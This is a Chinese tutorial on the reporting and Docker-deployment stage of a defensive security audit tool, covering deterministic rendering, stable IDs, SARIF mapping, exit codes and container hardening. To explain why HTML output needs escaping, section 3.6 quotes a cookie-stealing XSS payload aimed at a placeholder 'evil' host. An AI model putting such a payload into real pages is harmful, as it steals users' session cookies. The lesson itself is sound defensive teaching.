← 返回总目录

Day 165 — 阶段项目(四):安全审计工具箱 · 报告生成 + Docker 部署

网络安全开发 993 行 4 个可运行脚本

Day 165 — 阶段项目(四):安全审计工具箱 · 报告生成 + Docker 部署

Phase 10 — 网络安全开发(Day 146–165) · 主题:安全审计工具箱(Day 162–165 四天项目的第 4 天 · 收官)

使用边界(重要,读完再动手):
- 只对你自己拥有、或已获书面授权的目标做审计。
- 本课所有实验数据都是 code/findings.example.json —— 手工构造的合成数据,
目标是 127.0.0.1 上的自建靶场或 audit-process 这类流程占位符。
- 本课不发起任何网络请求。报告生成器只读本地 JSON、写本地文件。
容器的默认网络模式是 none,这是刻意的:一个只处理文本的程序
没有理由拥有网络。
- 报告里的"证据"字段来自被审计目标,属于不可信输入。
渲染 HTML 时必须转义(见 README 第 3.6 节)。
- 教材中的地址一律为回环或文档网段(RFC 5737 的 192.0.2.0/24)。


1. 学习目标

完成本课后,你应该能够:


2. 概念解释

2.1 阶段项目要做什么(今天站在哪个位置)

Day 159 做了"审计工具箱 v0"(规则引擎 + 报告 + CLI 门禁),Day 160 做了日志分析,
Day 161 做了渗透测试框架。Day 162–165 把这几天分散的能力拼成一个完整的资产审计工具:

Day 162(大前天)  资产面:端口扫描 + 目录爆破 + 指纹识别        ← 有哪些"资产"
Day 163(前天)    漏洞面:SQLi 检测 + XSS 检测                 ← 资产上有哪些"弱点"
Day 164(昨天)    流量面:正向代理 + 流量分析(先脱敏再检测)    ← 实际网络上发生了什么
Day 165(今天)    产出面:报告生成 + 容器化交付                 ← 把它变成"可交付物"

前三天的产出都是内存里的对象和终端里的输出。这些东西有一个共同问题:
它们是临时的。终端缓冲区会滚掉,进程退出对象就没了。

一个审计工具如果没有报告层,它就不是审计工具,只是一个"扫描脚本"。
区别在哪?审计(audit)这个词本身要求可复核:
三个月后有人问"当时你为什么说这台机器是安全的",
你必须能拿出当时的证据链。拿不出来,那次审计就不存在。

所以今天做的不是"加一个输出格式",而是给整个工具补上它的产品形态。

2.2 为什么"发现"和"报告"必须分开建模

新手常见的写法是:检测到问题就直接 print() 一段格式化文本。
问题在于,同一份发现要服务很多种输出:

                     ┌─────────────────┐
   扫描结果 ────►    │   Finding 列表   │   ← 唯一事实来源
                     └────────┬────────┘
                              │
        ┌────────────┬────────┼────────┬────────────┐
        ▼            ▼        ▼        ▼            ▼
     Markdown      HTML      JSON    SARIF      终端摘要
     (给人看)  (给人看)  (给机器) (给CI/IDE) (给正在跑的人)

如果"检测"这一步直接产出 Markdown 文本,那么:
- 想加一个 HTML 输出 → 必须重写一遍检测逻辑(或写一个脆弱的文本解析器)
- 想在 CI 里按严重度卡门禁 → 只能去 grep 文本,一改排版就崩
- 想算"今天比昨天新增了几个问题" → 需要 diff 文本,误报率高得没法用

把 Finding 抽成数据之后,上面每一件事都变成一次纯函数调用。
这就是"数据与表示分离"(separation of data and presentation)在安全工具里的具体兑现。

2.3 报告的三类消费者

同一份报告,实际上有三种完全不同的读者,他们对"好报告"的定义互相冲突:

消费者 是谁 要什么 不要什么 对应格式
人(评审/工单) 开发者、负责人、甲方 能读懂、能定位、有修复建议 一堆原始字节 Markdown / HTML
机器(分析/归档) 脚本、数据库、后续对比 结构稳定、字段完整、无歧义 排版、颜色 JSON
流程(CI/IDE) GitHub Code Scanning、门禁 标准 schema、行级定位、退出码 自由发挥的字段名 SARIF + exit code

关键认识:没有一个格式能同时满足三者,所以"输出四种"不是偷懒,是必要的。
反过来说,如果只有 Markdown,那么"报告能不能被程序消费"这件事就永远做不到,
报告也就永远停在"截图"的水平。

2.4 单一数据源:渲染器里不许算东西

本课的架构铁律只有一条:

所有渲染器只允许做字符串拼接,绝不允许做计算。

具体说,Report.model() 产出一份规范化的中间表示(IR),
四个渲染器都只从中取字段、拼字符串。这条规则带来三个直接好处:

  1. 不会漂移:如果排序逻辑写在渲染器里,四个渲染器就会有四份排序,
    早晚会出现"Markdown 里 critical 在上面,HTML 里在下面"这种荒唐的 bug。
  2. 可测试:只要测 model(),四个输出就都被覆盖了核心逻辑。
  3. 可审计:想验证"报告有没有漏掉严重问题",只需要看一处代码。

代价是:多了一层间接。新手会觉得"我就想输出一个表格,为什么要绕一圈"。
这一圈绕得值——它是本课唯一一个"架构级"的取舍。

2.5 确定性:为什么报告必须字节级可复现

确定性(determinism) 指:同一份输入,重复运行得到字节完全相同的输出。

听起来像洁癖,其实是很多能力的前提条件:

能力 报告不确定时会怎样
git diff 审计产物 每次运行整个文件都在变,无法看出目标有没有变化
回归对比(今 vs 昨) 误报铺满,真实变化被淹没
产物哈希做"是否变化"判据 哈希每次都不同,判据失效
CI 缓存 / 幂等重跑 无法判断"这次结果和上次一样吗"
证据链学术意义上的可复议 别人复现不出你的报告,等于无法验证

要做到确定性,必须掐死三个不确定来源:

  1. 时间戳 —— datetime.now() 是确定性的头号杀手。
    做法:时间戳由调用方传入(generated_at),
    或者用 SOURCE_DATE_EPOCH 环境变量固定。
    (SOURCE_DATE_EPOCH 是可复现构建领域的既有约定,见 reproducible-builds.org。)
  2. 顺序 —— dict 在旧版本 Python 无序、多线程收集顺序不定、集合的迭代顺序不定。
    做法:排序键写死成一个元组,排序在渲染前统一做一次。
  3. 标识符 —— uuid4() 每次不同,自增序号在增删后含义会变。
    做法:用内容哈希做 id。

本课的代码里,Report.render_json() 对同一输入调用两次,
输出是逐字节相同的;code/out/day165-determinism.md 的内容哈希也因此稳定。

2.6 稳定 id:为什么是内容哈希

python
@property
def id(self) -> str:
    return stable_id(self.target, self.rule_id, self.severity)

三条设计决策,每条都值得说清:

(a)为什么不用 UUID?
UUID 是"唯一"的,但不是"稳定"的。同一条 SQL 注入,今天扫描的 id 是 a1b2…,
明天是 c3d4…。于是"新增/已修复"完全算不出来——每次运行看起来都是全新的 7 条。

(b)为什么不用自增序号?
序号稳定,但含义不稳定。原本 #3 是 XSS,前面删掉一条之后 #3 变成了端口开放。
任何基于序号的对比都会指错对象。

(c)为什么字段只放 target + rule_id + severity?
这是个刻意的取舍。如果把 title 和 reason 也放进哈希:
- 好处:文案改了也算"新问题"(一般不想要这个)
- 坏处:修一个错别字就让整个问题换 id,历史对比全断

所以本课把"可变文案"排除在主键之外。
原则:id 应该由"问题是什么"决定,而不是由"我们怎么描述它"决定。

有了稳定 id,对比就退化成一次集合运算:

python
new_ids = cur_ids - prev_ids    # 本次新增
fixed   = prev_ids - cur_ids    # 本次已修复

2.7 风险分:为什么"严重度 × 置信度"

只按严重度排序,会犯一个很具体的错误:把低置信度的高危压在已确认的中危上面。

本课的风险分:

risk = SEVERITY_WEIGHT[severity] × {high: 1.0, medium: 0.6, low: 0.3}[confidence]

critical 40 · high 25 · medium 12 · low 5 · info 1

于是:
- 已确认的 high(25×1.0)= 25
- 低置信度的 high(25×0.3)= 7.5 → 7,掉到已确认 medium(12)下面

为什么这是对的?因为你要让读者先处理最值得先处理的问题。
一个"可能是扫描器"的低置信度告警,排查成本可能比修一个确认的中危还高。
把它排在前面,等于用误报的时间成本挤掉了真实修复的时间。

注意这里没有把置信度当成"降级"来用(不把 low-confidence high 变成 medium)。
严重度描述的是"如果成立,影响多大",置信度描述的是"它成立的可能性"。
这是两个正交的维度,混成一个就是信息损失。

2.8 覆盖缺口:为什么它必须单独存在

这是安全报告里最容易被删掉、也最要命的一部分。

"本次审计未发现问题"          ← 危险的说法(隐含"全测了、全过了")
"本次审计在 A/B/C 范围内未发现问题;
 D 因 TLS 不可见、E 因无授权账号未测"   ← 诚实的说法

第一句话在两个月后可能被引用为"当时是安全的",而事实上第 D、E 项从未被测过。
把"没测"藏起来的报告,是在生产虚假的安全感。

所以本课:
- Report.coverage_gaps 是独立字段,不是一句备注
- 渲染时它永远出现在报告里(即使为空也要写"无",
因为"缺失"和"写了个无"在读者眼里不一样)
- CLI 里它单独占退出码 4

为什么退出码 4 不和 1 合并?因为他们的行动项不同:
- 退出码 1(有高危)→ 去修
- 退出码 4(有缺口)→ 去补测,或者去明确接受这个盲区

一个"什么都没测到"的运行如果返回 0,就和"真的全通过"长得一模一样——
这是审计工具最危险的失败模式。

2.9 四种格式的信息损失

格式之间不是"等价转换",每一次转换都可能丢信息。诚实地列出损失点:

格式 面向 保留 丢失/风险
JSON 机器 全字段、全结构 人不愿读;文件大
Markdown 人(评审) 层级、代码块、diff 友好 无法做行级定位;难机器消费
HTML 人(汇报) 样式、可折叠、可截图 必须转义,否则自己变 XSS 载体
SARIF CI / IDE 标准 schema、行级定位、指纹 严重度只有三档(error/warning/note),五档必然压缩

SARIF 那条损失最值得注意:我们的 critical 和 high 都映射成 error。
所以本课在 SARIF 的 properties 里额外带上原始 severity/confidence/risk ——
压缩可以,但要能还原。不能还原的压缩叫"信息销毁"。

2.10 为什么报告层要容器化

报告生成是一个纯函数式任务:输入 JSON → 输出文件,无网络、无状态。
这种任务容器化的收益特别干净:

"在我机器上是好的"           ← 容器要消灭的头号问题
  ↓
"在所有装了 python3.12 且依赖版本一致的地方都一样"
  ↓
"在同一个镜像里,永远一样"    ← 这才是确定的

具体到审计场景,还有两个额外的理由:

(a)证据的可复现性要求"工具版本"是精确的。
报告里写了 tool_version=audit-toolbox/1.0。
如果这个版本号对应的其实是一个会随 pip install 时间而漂移的环境,
那这个版本号就是假的自证。镜像 digest 才能给出真正的"同一工具"。

(b)把"能联网的扫描容器"和"不能联网的报告容器"分开。
Day 162–164 的扫描工作天然需要网络;报告工作完全不需要。
把后者跑在 --network none 里,即使镜像被污染也没有回传信道。
按需给权限,而不是整体给权限。

2.11 容器安全的默认姿势

本课 Dockerfile / compose 的每一项都可以归到一条原则:默认拒绝。

配置 挡住什么 不做会怎样
USER 10001:10001 容器内 root 提权 逃逸后直接拿到宿主 root 级别能力
read_only: true 运行时篡改自身文件 攻击者落地持久化(改脚本/塞后门)
tmpfs /tmp:noexec,16m 临时目录当跳板 写马 + 执行;或塞满内存
cap_drop: [ALL] 网络/挂载等内核能力 需要的、不需要的全都敞着
no-new-privileges setuid 提权 镜像里任何 setuid 程序都能抬权
network_mode: none 数据回传 后门有信道可用
mem_limit: 256M 畸形输入打爆内存 宿主被一个 2GB JSON 拖死

最后一条(资源上限)常被忽略,但对"处理外部输入"的程序是必须的:
攻击者控制输入大小时,就等于部分控制了你的资源消耗。


3. 原理解释

3.1 渲染管线(rendering pipeline)

        ┌─────────────────────────────────────────────────────────┐
        │ 1. 收集 collect()                                       │
        │    Finding 从三个面(资产/漏洞/流量)汇入 Report          │
        └──────────────────────────┬──────────────────────────────┘
                                   ▼
        ┌─────────────────────────────────────────────────────────┐
        │ 2. 归一化 normalize()  ← 唯一的"计算"发生地              │
        │    · 去重(同 id 只留 risk 最高的一条)                   │
        │    · 排序(severity → risk → target → rule_id)           │
        │    · 计数(含 0 值,保证表格形状稳定)                     │
        │    · 脱敏(出口兜底,幂等)                               │
        └──────────────────────────┬──────────────────────────────┘
                                   ▼
        ┌─────────────────────────────────────────────────────────┐
        │ 3. 中间表示 model()  ← 与格式无关的规范结构               │
        │    { schema, scope, generated_at, counts, findings[] }   │
        └──────────────────────────┬──────────────────────────────┘
                                   ▼
        ┌────────────┬─────────────┼─────────────┬────────────────┐
        │ json dump  │ markdown    │ html escape │ sarif 映射      │
        │ (无计算)   │ (拼字符串)   │ (拼字符串)   │ (无计算)        │
        └────────────┴─────────────┴─────────────┴────────────────┘

3.2 去重与排序

去重为什么必须做? 因为同一个问题会从多个面被发现。
例:一个明文口令既会被 Day 164 的流量规则命中,也可能被 Day 163 的检测命中。
如果不去重,报告会显示"2 个高危",实际只有 1 个 —— 风险被虚高,读者会失去信任。

去重键是 id,冲突时保留 risk 更高的一条(保留证据更充分的那份描述)。

排序键为什么是四元组?

python
(SEVERITY_ORDER[severity], -risk, target, rule_id)

第四维最容易被忽略但它最要紧:如果前三维全相等,Python 的 sort 会退化成
"保持输入顺序"(稳定排序),于是输入顺序又漏进输出,确定性就破了。
写死一个不可能重复的末位键,才能保证全序。

3.3 严重度 → SARIF level 映射的取舍

critical ┐
high     ┼──► "error"     (CI 里都会让流水线变红)
medium   ┼──► "warning"
low      ┐
info     ┴──► "note"

为什么把 critical 和 high 都压成 error?因为 SARIF 的 level 只有三档,
而我们在 properties 里保留了原始 severity。取舍逻辑是:
在 CI 的语境里,"必须修"和"必须修"的区分不如"必须修 vs 建议修"重要。

这是一个普遍的模式:向外输出时必须降级到对方 schema 的表达能力,
但在扩展字段里保留原始精度,让有能力消费的人拿得到。

3.4 退出码:工具的对外契约

0  通过(可能无发现,也可能都在阈值以下)
1  有达到/超过阈值的发现      → 行动:去修
2  入参/输入数据错误           → 行动:改用法
3  渲染或写盘失败              → 行动:查磁盘/权限
4  存在覆盖缺口                → 行动:补测 或 显式接受盲区

设计要点:

  1. 2 和 3 分开:用法错和磁盘满,是两类完全不同的故障(本课实测中真的撞到了 3)。
  2. --fail-on high 同时命中 critical:
    语义是"达到或超过",所以阈值是上界而不是等号。
    这条必须写进 --help,否则用户会以为 high 只管 high。
  3. 1 优先于 4:有高危就直接 1。因为"去修"比"去补测"更紧急,
    多返回一个码不会让人更快行动,反而会分散注意力。
  4. 不要用 sys.exit(True):Python 里 True 是 1、False 是 0,
    看起来能用,但读代码的人会以为这是个布尔。
    用命名常量(EXIT_FINDINGS = 1)表达意图。

3.5 为什么 exec 形式的 ENTRYPOINT 是门禁的前提

dockerfile
ENTRYPOINT ["python", "03-toolbox-cli.py"]        # exec 形式(正确)
# ENTRYPOINT python 03-toolbox-cli.py             # shell 形式(错误)

shell 形式的实际效果是 /bin/sh -c "python 03-toolbox-cli.py":
- PID 1 变成了 sh,它不转发信号。
docker stop 发的 SIGTERM 会被忽略,容器只能等 10 秒超时被 SIGKILL。
- 退出码链路多一环,某些情况下 sh 会掩盖子进程的退出码。

对我们的工具来说,第二条是致命的:整个门禁机制建立在退出码上。
所以这里必须用 exec 形式。实测(见第 6 节)容器里
--fail-on high 正确返回 1、写盘失败正确返回 3。

如果想要更强的 PID 1 语义(回收僵尸进程 + 完整信号转发),
可以在镜像里加 tini 或 dumb-init 并作为 ENTRYPOINT。
本课程序是单进程短任务(跑完就退),所以直接 exec 就够,
但生产上的长驻容器应该加。

3.6 HTML 渲染必须转义(否则审计工具变成 XSS 载体)

python
ev = "<br>".join(_html.escape(e) for e in f["evidence"])

为什么这事特别严重?因为 evidence 字段的来源是被审计目标。
被审计目标可能是攻击者控制的页面/响应。设想:

目标响应里包含:<script>fetch('http://evil/'+document.cookie)</script>
    ↓
我们用字符串拼接把它写进报告 HTML
    ↓
负责人在浏览器打开报告 → 脚本在自己公司域内执行
    ↓
审计工具成功地把攻击载荷投递给了审计员

这是真实存在过的漏洞类别(存储型 XSS 通过日志/报告界面触发)。
防法就是一句 html.escape()——但你必须在每个出口都记得。
本课还把这条写成了思考题(见第 8 节第 3 题)。

3.7 多阶段构建省掉了什么(实测数据)

python:3.12-slim 基础镜像         179 MB
我们的运行镜像 audit-toolbox:1.0  194 MB   ← 只加了约 15 MB

15 MB 里包含:从 builder 拷来的 venv、两个 py 文件、一个 /out 挂载点声明。
没有包含:pip 的下载缓存、编译工具链、headless 构建中间层。

如果只写单阶段(把 pip install 和运行放同一个 stage),
缓存和构建残留会一并留在最终镜像里。在依赖多的项目里,
这个差距常见是 300MB ~ 1GB 级别。

dockerfile
COPY requirements.txt ./          # 只拷依赖清单
RUN pip install -r requirements.txt
COPY report_core.py 03-toolbox-cli.py /app/    # 代码另拷

这个顺序也是刻意的:依赖变动频率低于代码,
分开拷贝能让"只改代码"的重建命中依赖层缓存,构建从几十秒降到一两秒。

3.8 非 root + 绑定挂载 = EACCES(本课实测撞到的坑)

这是本课最有价值的一次"翻车"实测,完整记录如下。

现象:镜像构建成功、容器能启动、报告渲染正常,但写盘失败:

📄 报告:安全审计报告
   摘要 :findings=7 critical=1 high=3 …
   时间戳:2026-09-24T06:00:00+08:00
❌ 写盘失败:[Errno 13] Permission denied: '/out/day165-docker.md'
exit=3

原因:容器里跑的是 uid=10001(app),而宿主上绑定的目录 out/
属于 root:root 且权限是 755。10001 在里面没有写权限。

注意这里暴露了一个好设计:程序没有崩,没有抛异常堆栈,
而是输出了一条人类可读的错误并返回退出码 3。
门禁系统能立刻区分"渲染失败"和"有高危发现"。

三种修法(按推荐度排序):

bash
# 修法 A(推荐 · 最明确):给宿主输出目录正确属主
mkdir -p out && chown 10001:10001 out
docker run … -v "$PWD/out:/out" …

# 修法 B(临时/调试):用宿主当前用户覆盖镜像内用户
docker run --user "$(id -u):$(id -g)" …

# 修法 C(生产 · 更干净):用命名卷,不绑宿主目录
docker run -v audit-out:/out …      # docker volume create audit-out

为什么不推荐"把容器改成 root"?因为那是在用整个沙箱换一个目录权限,
是典型的本末倒置。实测中修法 A 一次通过,四个格式全部写出:

✅ 已写入 /out/day165-docker.md(4431 字节)
✅ 已写入 /out/day165-docker.json(5317 字节)
✅ 已写入 /out/day165-docker.html(5531 字节)
✅ 已写入 /out/day165-docker.sarif(10371 字节)
exit=0

延伸经验:这类"权限"问题在 CI 里会表现成"本地能跑、流水线挂"。
定位手段就一句:docker run --rm <image> id 看容器里的 uid,
再 ls -ld <host_dir> 看宿主的属主,两边一比答案自现。

3.9 资源上限:为什么文本处理程序也要限内存

有人认为"我只是读 JSON 写文本,不需要限制"。这句话在输入可信时成立。

但审计工具的输入往往来自外部(扫描结果、客户提供的日志)。
当攻击者能控制输入大小时,他就部分控制了你进程的资源消耗。

几个具体的放大点:
- json.loads 会把整个文档建成对象图,200MB JSON 可能膨胀到 1~2GB 内存
- Report.ordered_findings() 会为每条 finding 算一次哈希与排序键
- HTML 渲染会为整份报告在内存里拼一个大字符串

所以 compose 里给了 memory: 256M / cpus: "1.0"。
这不是"性能优化",是失效边界的定义:
超出就干净地死掉,而不是把宿主一起拖垮。


4. 图解

完整图解见 diagrams/README.md(6 张图:渲染管线、确定性杀手、
退出码决策树、容器信任边界、EACCES 排查路径、格式信息损失地图)。

这里放两张最该记住的:

4.1 渲染管线(数据流单向)

  收集(三个面)      归一化(唯一算数的地方)      渲染(零计算)
 ┌─────────────┐     ┌────────────────────┐     ┌────────────────┐
 │ 资产 / 漏洞  │ ──► │ 去重 → 排序 → 计数  │ ──► │ JSON / MD /    │
 │ / 流量      │     │ → 脱敏(幂等)      │     │ HTML / SARIF   │
 └─────────────┘     └─────────┬──────────┘     └───────┬────────┘
                               ▼                        ▼
                      中间表示 model()            退出码 0/1/2/3/4

4.2 确定性(Mermaid)

flowchart LR A[原始观测] --> B[时间戳外部注入] B --> C[统一排序<br/>severity/risk/target/rule_id] C --> D[内容哈希 id] D --> E[字节确定的报告] E --> F[可 diff] E --> G[产物哈希可信] E --> H[回归对比无噪声]
flowchart LR
    A[原始观测] --> B[时间戳外部注入]
    B --> C[统一排序<br/>severity/risk/target/rule_id]
    C --> D[内容哈希 id]
    D --> E[字节确定的报告]
    E --> F[可 diff]
    E --> G[产物哈希可信]
    E --> H[回归对比无噪声]

5. 定义与使用方法(API 速查表)

5.1 Finding 字段

字段 类型 必填 说明 为什么需要它
rule_id str ✅ 规则标识(如 WEB-SQLI-ERROR) 机器聚合的键;也是 id 的一部分
title str ✅ 人类可读的一句话 报告标题行;不参与 id
severity str ✅ critical/high/medium/low/info 排序第一维;非法值直接报错
target str ✅ 受影响对象(URL / host:port / 流程名) 修复者定位用;id 的主键
reason str ✅ 为什么会命中(事实+推断) 让读者能自己判断是否认可
remediation str — 修复建议 与 reason 分开,避免事实/推断混淆
confidence str — high/medium/low(默认 high) 参与风险分,不改变 severity
evidence tuple[str] — 证据切片(可空) 空时必须渲染成"(无证据,属建议项)"
tags tuple[str] — 自由标签 后续聚类/过滤
phase str — 来自哪一天/哪一层 阶段项目里追溯发现层

派生属性(只读):

属性 计算 用途
id stable_id(target, rule_id, severity)[:12] 去重键、diff 集合运算的键
risk 权重[severity] × 系数[confidence] 同严重度内的排序、风险总分
sort_key (sev序, -risk, target, rule_id) 唯一排序依据

严重度权重表:critical 40 · high 25 · medium 12 · low 5 · info 1
置信度系数表:high ×1.0 · medium ×0.6 · low ×0.3

5.2 Report 方法

方法 签名 返回 说明
add (Finding) -> Report self 链式添加
extend (Iterable[Finding]) -> Report self 批量添加
ordered_findings () -> list[Finding] 去重+排序后的列表 每次调用都重算,不改内部状态
counts () -> dict[str,int] 五档计数(含 0) 表格形状稳定
total_risk () -> int 风险总分 报告头展示
model () -> dict 与格式无关的 IR 唯一数据源
render_json (indent=2) -> str JSON 文本 机器消费者
render_markdown () -> str Markdown 文本 人类消费者
render_html () -> str HTML(已转义) 汇报用
render_sarif () -> str SARIF 2.1.0 CI/IDE
summarize 模块级函数 单行摘要 CLI/日志

⚠️ ordered_findings() 每次调用都重新计算。
为什么不做缓存?因为 Report 是可变的(add 会改它),
缓存就要处理失效问题——而这点计算量完全不值得引入失效逻辑。
换来的好处是:任何时刻调用都反映最新状态,不会有"忘了刷新"的隐性 bug。

5.3 CLI 参数(03-toolbox-cli.py)

参数 取值 默认 说明
--input / -i 路径 必填 findings JSON(数组或带 findings 的对象)
--format / -f md\|json\|html\|sarif\|all md all = 四种全出
--out-dir / -o 目录 ./out 输出目录(自动创建)
--stem 文件名主干 day165-report 输出文件名前缀
--title 文本 安全审计报告 报告标题
--fail-on 严重度 或 "" 无 达到或超过即退出码 1
--allow-coverage-gaps 开关 关 有缺口也返回 0(不推荐)
--generated-at ISO-8601 SOURCE_DATE_EPOCH 或当前时间 固定时间戳做可复现产物
--summary-only 开关 关 只打印摘要,不写文件

5.4 退出码契约

码 含义 行动项
0 通过 无需动作
1 有达到/超过阈值的发现 去修
2 输入/用法错误 改调用方式或修数据
3 渲染或写盘失败 查磁盘/权限(本课实测撞到过)
4 存在覆盖缺口 补测,或显式接受盲区

5.5 常用命令速查

bash
# 本地:四种格式全出(时间戳固定,产物可复现)
cd code
python3 03-toolbox-cli.py --input findings.example.json --format all \
    --generated-at 2026-09-24T06:00:00+08:00 --allow-coverage-gaps

# 本地:高危即拦截(CI 门禁形态)
python3 03-toolbox-cli.py -i findings.example.json -f md --fail-on high --summary-only

# 可复现构建的时间戳来源
export SOURCE_DATE_EPOCH=1758664800

# Docker:构建
docker build -t audit-toolbox:1.0 .

# Docker:最保守地跑(无网络 / 只读根 / 无能力)
docker run --rm --network none --read-only --tmpfs /tmp:size=16m \
    --cap-drop ALL --security-opt no-new-privileges \
    -v "$PWD/findings.example.json:/data/findings.json:ro" \
    -v "$PWD/out:/out" \
    audit-toolbox:1.0 --input /data/findings.json --format all --out-dir /out

# Docker:看容器里到底是谁在跑(排查权限问题的第一句)
docker run --rm --entrypoint id audit-toolbox:1.0

# Docker Compose
docker compose build
docker compose run --rm report --input /data/findings.json --format all
docker compose --profile gate run --rm gate

5.6 脱敏规则表(report_core._REDACT_PATTERNS)

顺序 匹配 替换为 为什么这么写
1 Authorization/Proxy-Authorization/Cookie/Set-Cookie: <值> \1: <REDACTED> 吃到行尾,否则只擦掉第一个词(实测踩坑)
2 Bearer <token> Bearer <REDACTED> 兜底独立出现的令牌
3 password/passwd/pwd/secret/token/api_key = <值> <REDACTED> 值里排除 ,;&"',避免互相吞并
4 scheme://user:pass@host scheme://<REDACTED>:<REDACTED>@host URL 内嵌凭证

写自定义规则时的三条铁律:

  1. 先指纹后擦除(否则检测能力被自己抹掉,甚至产生误报,见 02 号实验)
  2. 保证幂等(f(f(x)) == f(x)),否则多层渲染会反复擦
  3. 在真数据上跑一遍,看有没有"只擦一半"的情况(\S+ 这个坑很常见)

6. 实战代码案例

四天项目的收口场景:把前三天的发现汇成一份可交付报告,并钉进容器里跑。

6.1 文件清单

文件 行数量级 作用
code/report_core.py ~560 数据模型 + 四种渲染器 + 脱敏(核心库)
code/01-basic-report.py ~150 基础用法:收集 → 组装 → 渲染 Markdown/JSON
code/02-determinism-redaction.py ~250 进阶:确定性验证、脱敏顺序、幂等坑
code/03-toolbox-cli.py ~300 实战:CLI + 四种格式 + 退出码门禁
code/findings.example.json — 合成输入(来自 Day 162/163/164 三个面)
code/Dockerfile — 多阶段构建 + 非 root + exec ENTRYPOINT
code/docker-compose.yml — 加固编排(无网络/只读/cap_drop/限额)

6.2 场景 A:本地出报告(最常用)

bash
cd code
python3 03-toolbox-cli.py --input findings.example.json --format all \
    --generated-at 2026-09-24T06:00:00+08:00 --allow-coverage-gaps

实测输出:

📄 报告:安全审计报告
   范围 :127.0.0.1 自建靶场(非真实目标;授权演练)
   摘要 :findings=7 critical=1 high=3 medium=1 low=1 info=1 risk=105 gaps=4
   时间戳:2026-09-24T06:00:00+08:00
   ✅ 已写入 .../out/day165-report.md(4431 字节)
   ✅ 已写入 .../out/day165-report.json(5317 字节)
   ✅ 已写入 .../out/day165-report.html(5531 字节)
   ✅ 已写入 .../out/day165-report.sarif(10371 字节)
✅ 通过
exit=0

读一下这几行数字里的信息:
- 7 条发现、风险总分 105;
- critical 1 + high 3 = 4 条在 --fail-on high 的拦截范围内(下个场景验证);
- gaps=4,说明这份报告有四块"未覆盖区域"。
四块缺口真的很多吗?不是——它恰好是诚实度的体现(TLS 不可见、无授权账号、无 IPv6、代理超时丢包)。
- 四种格式体积差很大(4.4KB vs 10.4KB),SARIF 最大因为它要把规则、位置、指纹重复表达一遍。

6.3 场景 B:CI 门禁

bash
python3 03-toolbox-cli.py -i findings.example.json -f md --fail-on high --summary-only
   门禁 :--fail-on high → 命中 4 条
      · [critical] WEB-SQLI-ERROR @ http://127.0.0.1:8080/item?id=1
      · [high] TRAFFIC-CLEARTEXT-CRED @ http://127.0.0.1:8080/login
      · [high] WEB-XSS-REFLECTED @ http://127.0.0.1:8080/search?q=
      · [high] TRAFFIC-SUSPICIOUS-UA @ 127.0.0.1:9000
⛔ 门禁拦截:存在达到阈值的发现
exit=1

注意最后一行里 TRAFFIC-SUSPICIOUS-UA 是 low 置信度的,
但它依然被 --fail-on high 拦截。这看起来和 2.7 节"低置信度应该下沉"矛盾?

不矛盾,但确实是一个真实的取舍:
- 风险分(排序)回答"先看哪个"
- 门禁阈值(拦截)回答"能不能放过"

门禁用的是原始 severity,不看置信度,因为:
门禁一旦引入置信度折扣,就会出现"低置信度高危可以合法放过"的口子,
而低置信度往往只是"证据不完美",不代表"不是真的"。

正确的做法是:门禁看 severity 严卡,人工看 risk 排序排优先级。
如果确实要豁免,应该在流程里显式记录豁免原因,而不是把阈值调松。

6.4 场景 C:四种退出码全部实测

exit=0  --allow-coverage-gaps --fail-on 未设   → 通过
exit=1  --fail-on high(命中 4 条)            → 门禁拦截
exit=2  --input nope.json                      → ❌ 输入错误:输入文件不存在
exit=3  容器内写 /out(宿主目录属 root)        → ❌ 写盘失败:Permission denied
exit=4  --fail-on "" 且存在 gaps               → ⚠️ 覆盖缺口,结论不完整

五种码逐个实测过,这是本课最硬的交付证据之一。
同时注意 exit=3 是在 Docker 场景下真实发生的(见 7.3),
不是我编出来的一个示例。

6.5 场景 D:容器里跑完整流水线

bash
cd code
docker build -t audit-toolbox:1.0 .

mkdir -p out && chown 10001:10001 out      # ← 关键一步(否则 exit=3)

docker run --rm --network none --read-only --tmpfs /tmp:size=16m \
    --cap-drop ALL --security-opt no-new-privileges \
    -v "$PWD/findings.example.json:/data/findings.json:ro" \
    -v "$PWD/out:/out" \
    audit-toolbox:1.0 --input /data/findings.json --format all --out-dir /out \
    --generated-at 2026-09-24T06:00:00+08:00 --allow-coverage-gaps

实测(修好权限后):

   ✅ 已写入 /out/day165-docker.md(4431 字节)
   ✅ 已写入 /out/day165-docker.json(5317 字节)
   ✅ 已写入 /out/day165-docker.html(5531 字节)
   ✅ 已写入 /out/day165-docker.sarif(10371 字节)
✅ 通过
exit=0

6.6 代码里最值得抄走的三个片段

(1)稳定 id(三行解决 diff 问题)

python
def stable_id(*parts: Any, length: int = 12) -> str:
    joined = "\x1f".join("" if p is None else str(p) for p in parts)
    return hashlib.sha256(joined.encode("utf-8")).hexdigest()[:length]

用 \x1f(单元分隔符)拼接而不是普通空格:
因为 ("a b", "c") 和 ("a", "b c") 用空格拼出来是同一个字符串,
用控制字符就能避开这种边界碰撞。

(2)全序排序键(确定性最后一道锁)

python
def sort_key(self) -> tuple[int, str, str, str]:
    return (SEVERITY_ORDER[self.severity], -self.risk, self.target, self.rule_id)

末位 rule_id 看似多余,实际是防"前三维相等时退化成输入顺序"的保险丝。

(3)空值也要显式渲染

python
else:
    lines.append("**证据**:(无证据,属建议项)")

不能因为证据为空就跳过这一行:跳过之后读者会以为"渲染器漏了",
而写明白才能传递"这条本来就是建议,不是发现"。


7. 真机实测验证(不是示例输出,是跑出来的)

本课所有代码与容器配置都在本机(Linux / Python 3.12 / Docker)实际执行过。
以下记录原始结果,包括一次真实的翻车。

7.1 构建

Step 18/18 : CMD ["--input", "/data/findings.json", "--format", "all", "--out-dir", "/out"]
Successfully built 8f47278aa60d
Successfully tagged audit-toolbox:1.0
build_exit=0

7.2 镜像体积(分层收益)

python:3.12-slim(基础)           179 MB
audit-toolbox:1.0(我们的)        194 MB   ← 只多出约 15 MB

7.3 翻车记录:非 root + 绑定挂载 = EACCES

📄 报告:安全审计报告
   摘要 :findings=7 critical=1 high=3 medium=1 low=1 info=1 risk=105 gaps=4
   时间戳:2026-09-24T06:00:00+08:00
❌ 写盘失败:[Errno 13] Permission denied: '/out/day165-docker.md'
exit=3

排查(两句命令):

bash
docker run --rm --entrypoint id audit-toolbox:1.0
# → uid=10001(app) gid=10001(app) groups=10001(app)

ls -ld out/
# → drwxr-xr-x root root     ← 10001 写不进去

修复后(chown 10001:10001 out)四个格式全部写出,退出码 0。
详细的三重根因与三种修法见 3.8 节。这次翻车完整验证了退出码 3 的设计价值。

7.4 门禁在容器里的退出码透传

bash
